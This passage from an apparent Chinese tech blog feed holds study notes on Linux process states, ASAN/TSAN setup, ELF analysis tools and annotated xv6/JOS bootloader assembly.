&lt;p&gt;不可中断睡眠状态与可中断睡眠状态类似，但是不可中断休眠的进程必须等到某特定事件发生后才能被唤醒。将信号（如：kill函数发出的信号）传递到这种睡眠状态的进程不能改变它的状态（因为发送给处于不可中断休眠状态的进程的信号会被丢弃掉），也就是说它不响应信号的唤醒或者被调试（如：gdb，pstack等）。等待IO响应（如：磁盘IO，网络IO，其他外设IO等）、内核空间的互斥锁mutex_lock函数等都可以导致进程进入不可中断休眠状态。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jin-cheng-zhuang-tai-1&quot;&gt;进程状态&lt;&#x2F;h1&gt;
&lt;p&gt;在 linux 下，通过 ps 命令我们能够查看到系统中存在的进程，以及它们的状态：&lt;&#x2F;p&gt;
&lt;h2 id=&quot;r-task-running-ke-zhi-xing-zhuang-tai&quot;&gt;R (TASK_RUNNING)，可执行状态&lt;&#x2F;h2&gt;
&lt;p&gt;只有在该状态的进程才可能在 CPU 上运行
同一时刻可能有多个进程处于可执行状态，这些进程的 task_struct 结构（进程控制块）被放 入对应 CPU 的可执行队列中（一个进程最多只能出现在一个 CPU 的可执行队列中）&lt;&#x2F;p&gt;
&lt;p&gt;进程调度器的任务就是 从各个 CPU 的可执行队列中分别选择一个进程在该 CPU 上运行
只要可执行队列不为空，其对应的 CPU 就不能偷懒，就要执行其中某个进程，一般称此时的 CPU“忙碌”，对应的， CPU“空闲”就是指其对应的 可执行队列为空，以致于 CPU 无事可做&lt;&#x2F;p&gt;
&lt;p&gt;而 死循环程序基本上总是处于 TASK_RUNNING 状态（进程处于可执行队列中）
除非一 些非常极端情况（比如系统内存严重紧缺，导致进程的某些需要使用的页面被换出，并且在页面需要换入时又无法分配到内存……），否则这个进程不会睡眠。所以 CPU 的可执行队列总是不为空（至少有这么个进程存在）， CPU 也就不会“空闲”
许多 将正在 CPU 上执行的进程定义为 RUNNING 状态、而 将可执行但尚未被调度执行的进程 定义为 READY 状态，这两种状态 在 linux 下统一为 TASK_RUNNING 状态&lt;&#x2F;p&gt;
&lt;h2 id=&quot;s-task-interruptible-ke-zhong-duan-de-shui-mian-zhuang-tai&quot;&gt;S (TASK_INTERRUPTIBLE)，可中断的睡眠状态：&lt;&#x2F;h2&gt;
&lt;p&gt;处于这个状态的进程因为等待某某事件的发生（比如等待 socket 连接、等待信号量），而被挂起
这些进程的 task_struct 结构被放入 对应事件的等待队列中，当这些事件发生时（由外部中断触发、或由其他进程触发），对应的等待队列中的一个或多个进程将被唤醒
通过 ps 命令我们会看到，一般情况下，进程列表中的绝大多数进程都处于 TASK_INTERRUPTIBLE 状态（除非机器的负载很高）&lt;&#x2F;p&gt;
&lt;h2 id=&quot;d-task-uninterruptible-bu-ke-zhong-duan-de-shui-mian-zhuang-tai&quot;&gt;D (TASK_UNINTERRUPTIBLE)，不可中断的睡眠状态：&lt;&#x2F;h2&gt;
&lt;p&gt;与 TASK_INTERRUPTIBLE 状态类似，进程处于睡眠状态，但是此刻进程是不可中断的
不可中断，指的并不是 CPU 不响应外部硬件的 中断，而是指进程不响应异步信号&lt;&#x2F;p&gt;
&lt;p&gt;绝大多数情况下，进程处在睡眠状态时，总是应该能够响应异步信号的
kill -9 竟然杀不死一个正在睡眠的进程了，所以 ps 命令看到的进程几乎不会出现 TASK_UNINTERRUPTIBLE 状态，而总是 TASK_INTERRUPTIBLE 状态
TASK_UNINTERRUPTIBLE 状态存在的意义：内核的某些处理流程是不能被打断
如 响应异步信号，程序的执行流程中就 会被插入一段用于处理异步信号的流程（这个插入的流程可能只存在于内核态，也可能延伸到用户态），于是原有的流程就被中断了&lt;&#x2F;p&gt;
&lt;p&gt;进程对某些硬件进行操作时（如 进程调用 read 系统调用对某个设备文件进行读操作，而read 系统调用最终执行到对应设备驱动的代码，并与 对应的物理设备进行交互），可能需要使用TASK_UNINTERRUPTIBLE 状态对进程进行保护，以避免进程与设备交互的过程被打断，造成设备陷入不可控的状态&lt;&#x2F;p&gt;
&lt;p&gt;这种情况下的 TASK_UNINTERRUPTIBLE 状态总是非常短暂的，通过 ps 命令捕捉不到
linux 系统中也存在容易捕捉的 TASK_UNINTERRUPTIBLE 状态：
如 执行 vfork 系统调用后，父进程将进入 TASK_UNINTERRUPTIBLE 状态，直到子进程调用 exit 或 exec&lt;&#x2F;p&gt;
&lt;p&gt;下面的代码 能得到处于 TASK_UNINTERRUPTIBLE 状态的进程：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;unistd.h&amp;gt;
void main()
{
    if(!vfork())
    {
        sleep(100);
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不管 kill 还是 kill -9，这个TASK_UNINTERRUPTIBLE 状态的父进程依然屹立不倒&lt;&#x2F;p&gt;
&lt;h2 id=&quot;t-task-stopped-or-task-traced-zan-ting-zhuang-tai-huo-gen-zong-zhuang-tai&quot;&gt;T (TASK_STOPPED or TASK_TRACED)，暂停状态或跟踪状态：&lt;&#x2F;h2&gt;
&lt;p&gt;向进程发送一个 SIGSTOP 信号，它就会因响应该信号 而进入 TASK_STOPPED 状态（除非该进程本身处于 TASK_UNINTERRUPTIBLE 状态而不响应信号）（SIGSTOP 与 SIGKILL 信号一样，是非常强制的。不允许用户进程通过 signal 系列的系统调用重新设置对应的信号处理函数 ）&lt;&#x2F;p&gt;
&lt;p&gt;向进程发送一个 SIGCONT 信号，可以让其从 TASK_STOPPED 状态恢复到 TASK_RUNNING 状态
当进程正在被跟踪时，它处于 TASK_TRACED 这个 特殊的状态&lt;&#x2F;p&gt;
&lt;p&gt;正在被跟踪”指的是进程暂停下来，等待跟踪它的进程对它进行操作
如 在 gdb 中对被跟踪的进程下一个断点，进程在断点处停下来的时候就处于 TASK_TRACED 状态。而在其他时候，被跟踪的进程还是处于前面提到的那些状态&lt;&#x2F;p&gt;
&lt;p&gt;对于进程本身来说， TASK_STOPPED 和 TASK_TRACED 状态很类似，都是表示进程暂停下来
而 TASK_TRACED 状态相当于在 TASK_STOPPED 之上多了一层保护，处于 TASK_TRACED 状态的进程不能响应 SIGCONT 信号而被唤醒&lt;&#x2F;p&gt;
&lt;p&gt;只能等到调试进程通过 ptrace 系统调用执行 PTRACE_CONT、PTRACE_DETACH 等操作（通过 ptrace 系统调用的参数指定操作），或调试进程退出，被调试的进程才能恢复 TASK_RUNNING 状态&lt;&#x2F;p&gt;
&lt;h2 id=&quot;z-task-dead-exit-zombie-tui-chu-zhuang-tai-jin-cheng-cheng-wei-jiang-shi-jin-cheng&quot;&gt;Z (TASK_DEAD - EXIT_ZOMBIE)，退出状态，进程成为僵尸进程&lt;&#x2F;h2&gt;
&lt;p&gt;进程在退出的过程中，处于 TASK_DEAD 状态
在这个退出过程中，进程占有的所有资源将被回收，除了 task_struct 结构（以及少数资源）以外。于是进程就只剩下 task_struct 这么个空壳，故称为僵尸&lt;&#x2F;p&gt;
&lt;p&gt;之所以保留 task_struct，是因为 task_struct 里面保存了进程的退出码、以及一些统计信息，而其父进程很可能会关心这些信
如 在 shell 中， $?变量就保存了最后一个退出的前台进程的退出码，而这个退出码往往被作为 if 语句的判断条件&lt;&#x2F;p&gt;
&lt;p&gt;内核会将这些信息保存在别的地方，而将 task_struct 结构释放掉，以节省一些空间。但 使用 task_struct 结构更为 方便， 因为在内核中已经建立了从 pid 到 task_struct 查找关系，还有进程间的父子关系&lt;&#x2F;p&gt;
&lt;p&gt;释放掉 task_struct，则需要建立一些新的数据 结构，以便让父进程找到它的子进程的退出信息&lt;&#x2F;p&gt;
&lt;p&gt;父进程可以通过 wait 系列的系统调用（如 wait4、 waitid）来等待某个或某些子进程的退出，并获取它的退出信息。然后 wait 系列的 系统调用会顺便将子进程的尸体（task_struct）也释放掉&lt;&#x2F;p&gt;
&lt;p&gt;子进程在退出的过程中，内核会给其父进程发送一个信号，通知父进程来“收尸”。这个信号默认是 SIGCHLD， 但是在通过 clone 系统调用创建子进程时，可以设置这个信号&lt;&#x2F;p&gt;
&lt;p&gt;只要父进程不退出，这个僵尸状态的子进程就一直存在
当进程退出的时候，会将它的所有子进程都托管给别的进程（使之成为别的进程的子进程）
可能退出进程所在进程组的下一个进程（如果存在的话），或者是 1 号进程。所以每个进程、每时每刻都有父进程存在。除非它是 1 号进程&lt;&#x2F;p&gt;
&lt;h2 id=&quot;x-task-dead-exit-dead-tui-chu-zhuang-tai-jin-cheng-ji-jiang-bei-xiao-hui&quot;&gt;X (TASK_DEAD - EXIT_DEAD)，退出状态，进程即将被销毁&lt;&#x2F;h2&gt;
&lt;p&gt;进程在退出过程中也可能不会保留它的 task_struct。比如这个进程是多线程程序中被 detach 过的进程&lt;&#x2F;p&gt;
&lt;p&gt;或者父进程通过设置 SIGCHLD 信号的handler 为 SIG_IGN，显式的忽略了 SIGCHLD 信号（这是 posix 的规定，尽管子进程的退出信号可以被设置为 SIGCHLD 以外的其他信号）&lt;&#x2F;p&gt;
&lt;p&gt;进程将被置于 EXIT_DEAD 退出状态，这意味着接下来的代码立即就会将该进程彻底释放。所以 EXIT_DEAD 状态是非常短暂的，几乎不可能通过 ps 命令捕捉到&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jin-cheng-de-chu-shi-zhuang-tai&quot;&gt;进程的初始状态&lt;&#x2F;h2&gt;
&lt;p&gt;进程是通过 fork 系列的系统调用（fork、 clone、 vfork）来创建的，内核（或内核模块）也可以通过 kernel_thread 函 数创建内核进程&lt;&#x2F;p&gt;
&lt;p&gt;这些创建子进程的函数本质上都完成了相同的功能——将调用进程复制一份，得到子进程。（可以通过选项参数来决定各种资源是共享、还是私有）&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jin-cheng-zhuang-tai-bian-qian&quot;&gt;进程状态变迁&lt;&#x2F;h2&gt;
&lt;p&gt;进程自创建以后，状态可能发生一系列的变化，直到进程退出&lt;&#x2F;p&gt;
&lt;p&gt;进程状态有好几种，但是进程状态的变迁却只有两个方向——从 TASK_RUNNING 状态变为非 TASK_RUNNING 状态、或者从非TASK_RUNNING 状态变为 TASK_RUNNING 状态&lt;&#x2F;p&gt;
&lt;p&gt;进程从非 TASK_RUNNING 状态变为 TASK_RUNNING 状态，是由别的进程（也可能是中断处理程序）执行唤醒操作来实现的。执行唤 醒的进程设置被唤醒进程的状态为 TASK_RUNNING，然后将其task_struct 结构加入到某个 CPU 的可执行队列中。于是被唤醒的进程将有机 会被调度执行。&lt;&#x2F;p&gt;
&lt;p&gt;进程从 TASK_RUNNING 状态变为非 TASK_RUNNING 状态：&lt;&#x2F;p&gt;
&lt;p&gt;响应信号而进入 TASK_STOPED 状态、或 TASK_DEAD 状态&lt;&#x2F;p&gt;
&lt;p&gt;执行系统调用主动进入 TASK_INTERRUPTIBLE 状态（如 nanosleep 系统调用）、或TASK_DEAD 状态（如 exit 系统调用）；或由于执行系统调用需要的资源得不到满足，而进入TASK_INTERRUPTIBLE 状态或 TASK_UNINTERRUPTIBLE 状态 （如 select 系统调用）
只能发生在进程正在CPU上执行的情况&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jiang-shi-jin-cheng&quot;&gt;僵尸进程&lt;&#x2F;h1&gt;
&lt;p&gt;未验证未必可行
1、进程还在被其它进程使用时退出；
2、进程的子线程还在执行任务，但主线程已经死掉了（可能主线程已经被杀了，systemd停止服务时会发SIGTERM信号）；
3、进程阻塞在某一IO请求上,这时控制权已交到内核手上,这时如果子进程被KILL掉, 那么就成为父进程ID为1的僵尸进程,这个进程不会退出,会一直阻塞直到IO请求被满足；&lt;&#x2F;p&gt;
&lt;p&gt;D 无法中断的休眠状态（通常 IO 的进程）；
R 正在运行可中在队列中可过行的；
S 处于休眠状态；
T 停止或被追踪；
W 进入内存交换（从内核2.6开始无效）；
X 死掉的进程（从来没见过）；
Z 僵尸进程；&lt;&#x2F;p&gt;
&lt;p&gt;&amp;lt; 优先级高的进程
N 优先级较低的进程
L 有些页被锁进内存；
s 进程的领导者（在它之下有子进程）；
l 多进程的（使用 CLONE_THREAD, 类似 NPTL pthreads）；&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;位于后台的进程组；
还有个重要的信息，在ps列表中有栏START信息，表示进程的启动时间，这个比较重要，可以看出进程是在哪天的什么时候起来的。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;根据上面贴的进程状态信息，可以知道进程从休眠状态变了停止&#x2F;被追踪，再根据开始说的 ppid=1的进程如果在被其他进程使用（跟踪调试等），则退出时，会有部分信息残留，导致变成僵死进程；&lt;&#x2F;p&gt;
&lt;p&gt;那就比较容易处理了，首先查看下是什么时间点变成tsl状态的，那就说明这个时间点该进程被跟踪（不知道这是不是黑客中提到的反调试，反追踪）了，在这个时间点开始查找下看看有没有进程调试跟踪该僵尸进程；&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>内存检测工具asan</title>
        <published>2022-11-10T17:41:42+08:00</published>
        <updated>2022-11-10T17:41:42+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/11/asan/"/>
        <id>https://vercel.juzhong.asia/2022/11/asan/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/11/asan/">&lt;h1 id=&quot;nei-cun-jian-ce-gong-ju-asan&quot;&gt;内存检测工具asan&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;nei-cun-jian-ce-gong-ju-asan-1&quot;&gt;内存检测工具asan&lt;&#x2F;h1&gt;
&lt;p&gt;ASAN（Address-Sanitizier）早先是LLVM中的特性，后被加入GCC 4.8，在GCC 4.9后加入对ARM平台的支持。因此GCC 4.8以上版本使用ASAN时不需要安装第三方库，通过在编译时指定编译CFLAGS即可打开开关。&lt;&#x2F;p&gt;
&lt;p&gt;内存检测工具asan使用
添加编译选项和链接选项
CFLAGS += -fno-common -g -fsanitize=address -fsanitize-recover=address
LDFLAGS += -fsanitize=address -g1 -lpthread -ldl -lm -lrt -lstdc++ -static-libasan
-fsanitize=address(启用ASAN)
-fno-omit-frame-pointer(让栈追溯信息更加友好)&lt;&#x2F;p&gt;
&lt;p&gt;配置相关环境变量参数
export ASAN_OPTIONS=
halt_on_error=0:
use_sigaltstack=0:
detect_leaks=1:(内存泄露)
malloc_context_size=15:
log_path=&#x2F;usr&#x2F;zhouyuming&#x2F;asan.log;
detect_stack_use_after_return=1;(使用栈上返回的变量)
‘stack_trace_format=&quot;[frame=%n, function=%f, location=%S]&quot;’;(输出格式化)
help=1;(输出所有支持的参数)
TSAN介绍
ThreadSanitizer（TSAN线程消毒器）是一种C&#x2F;C++数据竞争检测工具。数据竞争是多线程系统中最常见和最难调试的问题。数据竞争发生在多个线程访问相同数据，并且至少一个为写线程。在数据库系统中，涉及大量读写数据的并发操作，引入TSAN有利于发现线程调配间的不合理性，从而增强数据库的稳定性。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>xv6&#x2F;risc-v</title>
        <published>2022-10-13T13:48:50+08:00</published>
        <updated>2022-10-13T13:48:50+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/10/xv6-risc-v/"/>
        <id>https://vercel.juzhong.asia/2022/10/xv6-risc-v/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/10/xv6-risc-v/">&lt;h1 id=&quot;xv6-risc-v&quot;&gt;xv6&#x2F;risc-v&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;some-elf-tool&quot;&gt;some elf tool&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;elfutils&quot;&gt;elfutils&lt;&#x2F;h2&gt;
&lt;p&gt;&#x2F;usr&#x2F;bin&#x2F;eu-addr2line
&#x2F;usr&#x2F;bin&#x2F;eu-ar – alternative to ar, to create, manipulate archive files
&#x2F;usr&#x2F;bin&#x2F;eu-elfcmp
&#x2F;usr&#x2F;bin&#x2F;eu-elflint – compliance check against gABI and psABI specifications
&#x2F;usr&#x2F;bin&#x2F;eu-findtextrel – find text relocations
&#x2F;usr&#x2F;bin&#x2F;eu-ld – combining object and archive files
&#x2F;usr&#x2F;bin&#x2F;eu-make-debug-archive
&#x2F;usr&#x2F;bin&#x2F;eu-nm – display symbols from object&#x2F;executable files
&#x2F;usr&#x2F;bin&#x2F;eu-objdump – show information of object files
&#x2F;usr&#x2F;bin&#x2F;eu-ranlib – create index for archives for performance
&#x2F;usr&#x2F;bin&#x2F;eu-readelf – human-readable display of ELF files
&#x2F;usr&#x2F;bin&#x2F;eu-size – display size of each section (text, data, bss, etc)
&#x2F;usr&#x2F;bin&#x2F;eu-stack – show the stack of a running process, or coredump
&#x2F;usr&#x2F;bin&#x2F;eu-strings – display textual strings (similar to strings utility)
&#x2F;usr&#x2F;bin&#x2F;eu-strip – strip ELF file from symbol tables
&#x2F;usr&#x2F;bin&#x2F;eu-unstrip – add symbols and debug information to stripped binary
注：elfutils 包是个很好的开始，它包含分析用的大多数工具&lt;&#x2F;p&gt;
&lt;h2 id=&quot;elfkickers&quot;&gt;elfkickers&lt;&#x2F;h2&gt;
&lt;p&gt;&#x2F;usr&#x2F;bin&#x2F;ebfc – compiler for Brainfuck programming language
&#x2F;usr&#x2F;bin&#x2F;elfls – shows program headers and section headers with flags
&#x2F;usr&#x2F;bin&#x2F;elftoc – converts a binary into a C program
&#x2F;usr&#x2F;bin&#x2F;infect – tool to inject a dropper, which creates setuid file in &#x2F;tmp
&#x2F;usr&#x2F;bin&#x2F;objres – creates an object from ordinary or binary data
&#x2F;usr&#x2F;bin&#x2F;rebind – changes bindings&#x2F;visibility of symbols in ELF file
&#x2F;usr&#x2F;bin&#x2F;sstrip – strips unneeded components from ELF file
注: ELFKickers 包专注操作 ELF 文件，分析畸形 ELF 文件会很有用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pax-utils&quot;&gt;pax-utils&lt;&#x2F;h2&gt;
&lt;p&gt;&#x2F;usr&#x2F;bin&#x2F;dumpelf – dump internal ELF structure
&#x2F;usr&#x2F;bin&#x2F;lddtree – like ldd, with levels to show dependencies
&#x2F;usr&#x2F;bin&#x2F;pspax – list ELF&#x2F;PaX information about running processes
&#x2F;usr&#x2F;bin&#x2F;scanelf – wide range of information, including PaX details
&#x2F;usr&#x2F;bin&#x2F;scanmacho – shows details for Mach-O binaries (Mac OS X)
&#x2F;usr&#x2F;bin&#x2F;symtree – displays a leveled output for symbols
注: 包里面的工具可以搜索整个文件。大型分析有用，目标集中在搜集 PaX 信息。除了 ELF, Mach-O 文件也支持。
输出示例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  scanelf -a &amp;#x2F;bin&amp;#x2F;ps
   TYPE    PAX   PERM ENDIAN STK&amp;#x2F;REL&amp;#x2F;PTL TEXTREL RPATH BIND FILE
  ET_EXEC PeMRxS 0755 LE RW- R-- RW-    -      -   LAZY &amp;#x2F;bin&amp;#x2F;ps
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;prelink&quot;&gt;prelink&lt;&#x2F;h2&gt;
&lt;p&gt;&#x2F;usr&#x2F;bin&#x2F;execstack – display or change if stack is executable
&#x2F;usr&#x2F;bin&#x2F;prelink – remaps&#x2F;relocates calls in ELF files, to speed up the process&lt;&#x2F;p&gt;
&lt;h2 id=&quot;readelf-info&quot;&gt;readelf info&lt;&#x2F;h2&gt;
&lt;p&gt;PhysAddr only user physical depend program?
offset --&amp;gt; 相对elf header头部最开开始的物理地址偏移
VirtAddr --&amp;gt; 加载到内存时候的虚拟地址
PhysAddr --&amp;gt; 无意义
FileSiz --&amp;gt; elf中program尺寸
MemSiz --&amp;gt; program 加载到meme尺寸，含bss&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;readelf -l -W &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;ls

Elf file type is DYN (Position-Independent Executable file)
Entry point 0x6ab0
There are 13 program headers, starting at offset 64

Program Headers:
  Type           Offset   VirtAddr           PhysAddr           FileSiz  MemSiz   Flg Align
  PHDR           0x000040 0x0000000000000040 0x0000000000000040 0x0002d8 0x0002d8 R   0x8
  INTERP         0x000318 0x0000000000000318 0x0000000000000318 0x00001c 0x00001c R   0x1
      [Requesting program interpreter: &amp;#x2F;lib64&amp;#x2F;ld-linux-x86-64.so.2]
  LOAD           0x000000 0x0000000000000000 0x0000000000000000 0x003428 0x003428 R   0x1000
  ...

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;lab1&quot;&gt;lab1&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;BIOS 0xffff0&lt;&#x2F;p&gt;
&lt;h1 id=&quot;switch-from-real-16bit-to-protected-mode-32bit-using-a-bootstrap-gdt&quot;&gt;Switch from real(16bit) to protected mode(32bit), using a bootstrap GDT&lt;&#x2F;h1&gt;
&lt;p&gt;lgdt gdtdesc
movl    %cr0, %eax
orl     $CR0_PE_ON, %eax
movl    %eax, %cr0&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jump-to-next-instruction-but-in-32-bit-code-segment&quot;&gt;Jump to next instruction, but in 32-bit code segment.&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;switches-processor-into-32-bit-mode&quot;&gt;Switches processor into 32-bit mode.&lt;&#x2F;h1&gt;
&lt;p&gt;ljmp    $PROT_MODE_CSEG,$protcseg
...&lt;&#x2F;p&gt;
&lt;p&gt;boot 0x7c00
...
readseg(...)
...
call bootmain
((void (*)(void)) (ELFHDR-&amp;gt;e_entry))();&lt;&#x2F;p&gt;
&lt;p&gt;kernel
.globl		_start
_start = RELOC(entry)&lt;&#x2F;p&gt;
&lt;p&gt;.globl entry
entry:
movw	$0x1234,0x472			# warm boot
...&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;h1 id=&quot;kernel-ld&quot;&gt;kernel.ld&lt;&#x2F;h1&gt;
&lt;p&gt;OUTPUT_FORMAT(&quot;elf32-i386&quot;, &quot;elf32-i386&quot;, &quot;elf32-i386&quot;)
OUTPUT_ARCH(i386)
ENTRY(_start)&lt;&#x2F;p&gt;
&lt;p&gt;SECTIONS
{
&#x2F;* Link the kernel at this address: &quot;.&quot; means the current address *&#x2F;
. = 0xF0100000;&lt;&#x2F;p&gt;
&lt;p&gt;&#x2F;* AT(...) gives the load address of this section, which tells
the boot loader where to load the kernel in physical memory  &lt;em&gt;&#x2F;&lt;&#x2F;em&gt; &lt;em&gt;.text : AT(0x100000) {&lt;&#x2F;em&gt; &lt;strong&gt;(.text .stub .text.&lt;&#x2F;strong&gt; * .gnu.linkonce.t.* )
}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;git clone https:&amp;#x2F;&amp;#x2F;pdos.csail.mit.edu&amp;#x2F;6.828&amp;#x2F;2018&amp;#x2F;jos.git
cd jos &amp;amp;&amp;amp; make qemu-nox-gdb &amp;amp; &amp;amp;&amp;amp; make gdb
gdb&amp;gt; symbol-file obj&amp;#x2F;boot&amp;#x2F;boot.out # boot.out which generate boot is elf file
gdb&amp;gt; add symbol-file obj&amp;#x2F;kern&amp;#x2F;kernel
gdb&amp;gt; b *0xffff0
gdb&amp;gt; b *0x7c00
gdb&amp;gt; b bootmain
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;stack-layout&quot;&gt;stack layout&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;0x00000000
+------------------------------------------------------------------------—+
|        0x7c00      0x7d00         0x10000                               |
|    栈    |  引导程序  |                |    内核                          |
+-------------------------------------------------------------------------+
                                                                 0xffffffff
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;reference&quot;&gt;reference&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;quot;asm.h&amp;quot;
#include &amp;quot;memlayout.h&amp;quot;
#include &amp;quot;mmu.h&amp;quot;

# Start the first CPU: switch to 32-bit protected mode, jump into C.
# The BIOS loads this code from the first sector of the hard disk into
# memory at physical address 0x7c00 and starts executing in real mode
# with %cs=0 %ip=7c00.

.code16                       # Assemble for 16-bit mode
.globl start
start:
  cli                         # BIOS enabled interrupts; disable

  # Zero data segment registers DS, ES, and SS.
  xorw    %ax,%ax             # Set %ax to zero
  movw    %ax,%ds             # -&amp;gt; Data Segment
  movw    %ax,%es             # -&amp;gt; Extra Segment
  movw    %ax,%ss             # -&amp;gt; Stack Segment

  # Physical address line A20 is tied to zero so that the first PCs 
  # with 2 MB would run software that assumed 1 MB.  Undo that.
  # &amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;&amp;#x2F;
  # 这里用了通过键盘控制器端口的方法打开 A20 地址
  # 打开 A20 地址线的方法有三种，具体可参考：
  #     http:&amp;#x2F;&amp;#x2F;kernelx.weebly.com&amp;#x2F;a20-address-line.html
  #
  # 下面都是针对 804x 键盘控制器端口的操作，这里只介绍用到的两个端口
  #     0x64  从该端口执行 in 读取操作时，读取状态寄存器，8 位，第二
  #           位标识输入缓冲是否有数据所以下面用 0x2 来 test 输入缓冲是否有数据
  #           向该端口执行 out 写操作时，代表向键盘控制器发送命令，发送 0xd1 代
  #           表要向键盘控制器的 P2 端口写入数据，要写入的数据通过 0x60 端口传入
  #
  #     P2    端口，8位，第二位就是 A20 开关，所以在 seta20.2 代码段将 0xdf 通过
  #           0x60 端口写入到 P2 时就会把 A20 置位，A20 打开后，进入保护模式
seta20.1:
  inb     $0x64,%al               # Wait for not busy
  testb   $0x2,%al
  jnz     seta20.1                # 通过 0x64 状态寄存器的第二位判断键盘缓冲区里是否有数据，如果还有数据，则等待

  movb    $0xd1,%al               # 0xd1 -&amp;gt; port 0x64
  outb    %al,$0x64               # 0xd1 代表向 804x 控制器的 P2 写数据

seta20.2:
  inb     $0x64,%al               # Wait for not busy
  testb   $0x2,%al
  jnz     seta20.2                # 同上，继续判断键盘缓冲区是否有数据，如果有数据，则等待

  movb    $0xdf,%al               # 0xdf -&amp;gt; port 0x60
  outb    %al,$0x60               # 将 0xdf 11011111 写入键盘控制器的 P2 口，意味着 A20 打开，进入保护模式

  # Switch from real to protected mode.  Use a bootstrap GDT that makes
  # virtual addresses map directly to physical addresses so that the
  # effective memory map does not change during the transition.
  # 控制寄存器 CR0 为 32 位寄存器，和保护模式相关的控制位
  # **注意大小端**
  # 
  # |31|--------30~1--------| 0|
  # ----------------------------
  # |PG|--------------------|PE|
  # PG : 开启分页式
  # PE : 开启保护模式
  # CR0_PE 在 mmu.h 中定义的 32 位用于控制 CR0
  # CR0_PE : 0x00000001
  # | 0|-------都是0--------| 1|
  # CR0_PE 与 cr0 做或运算保证 PG = 0, PE = 1
  # 至此开启了保护模式，基于分段式，没有打开分页式
  lgdt    gdtdesc          # 先把 GDT 告诉 CPU
  movl    %cr0, %eax       # 把 CR0 寄存器的值复制给 eax 寄存器
  orl     $CR0_PE, %eax    # 与 CR0_PE 做或运算，打开保护模式
  movl    %eax, %cr0

&amp;#x2F;&amp;#x2F;PAGEBREAK!
  # Complete transition to 32-bit protected mode by using long jmp
  # to reload %cs and %eip.  The segment descriptors are set up with no
  # translation, so that the mapping is still the identity mapping.
  # 
  # 到这里已经进入保护模式了，这里做代码跳转的时候就变成了基于分段式的跳转
  # 分段式跳转 ljmp  段选择子,  段内偏移量
  # 在 GDT 中我们的代码段下标是 1 ，所以这里段选择子是 1 &amp;lt;&amp;lt; 3 = 0000 0000 0000 1000
  # 在 16 位的段选择子中前 13 位是 GDT 段表下标，这里前 13 位值是 1 代表选择代码段
  # 而我们的代码段是从 0 开始到 4GB 结尾的，所以这里偏移量不用做转换，还是原偏移即可
  ljmp    $(SEG_KCODE&amp;lt;&amp;lt;3), $start32

.code32  # Tell assembler to generate 32-bit code now.
start32:
  # Set up the protected-mode data segment registers
  # 像上面讲 ljmp 时所说的，这时候已经在保护模式下了
  # 数据段在 GDT 中的下标是 2，所以这里数据段的段选择子是 2 &amp;lt;&amp;lt; 3 = 0000 0000 0001 0000
  # 这 16 位的段选择子中的前 13 位是 GDT 段表下标，这里前 13 位的值是 2 代表选择了数据段
  # 这里将 3 个数据段寄存器都赋值成数据段段选择子的值
  movw    $(SEG_KDATA&amp;lt;&amp;lt;3), %ax    # Our data segment selector  段选择子赋值给 ax 寄存器
  movw    %ax, %ds                # -&amp;gt; DS: Data Segment        初始化数据段寄存器
  movw    %ax, %es                # -&amp;gt; ES: Extra Segment       初始化扩展段寄存器
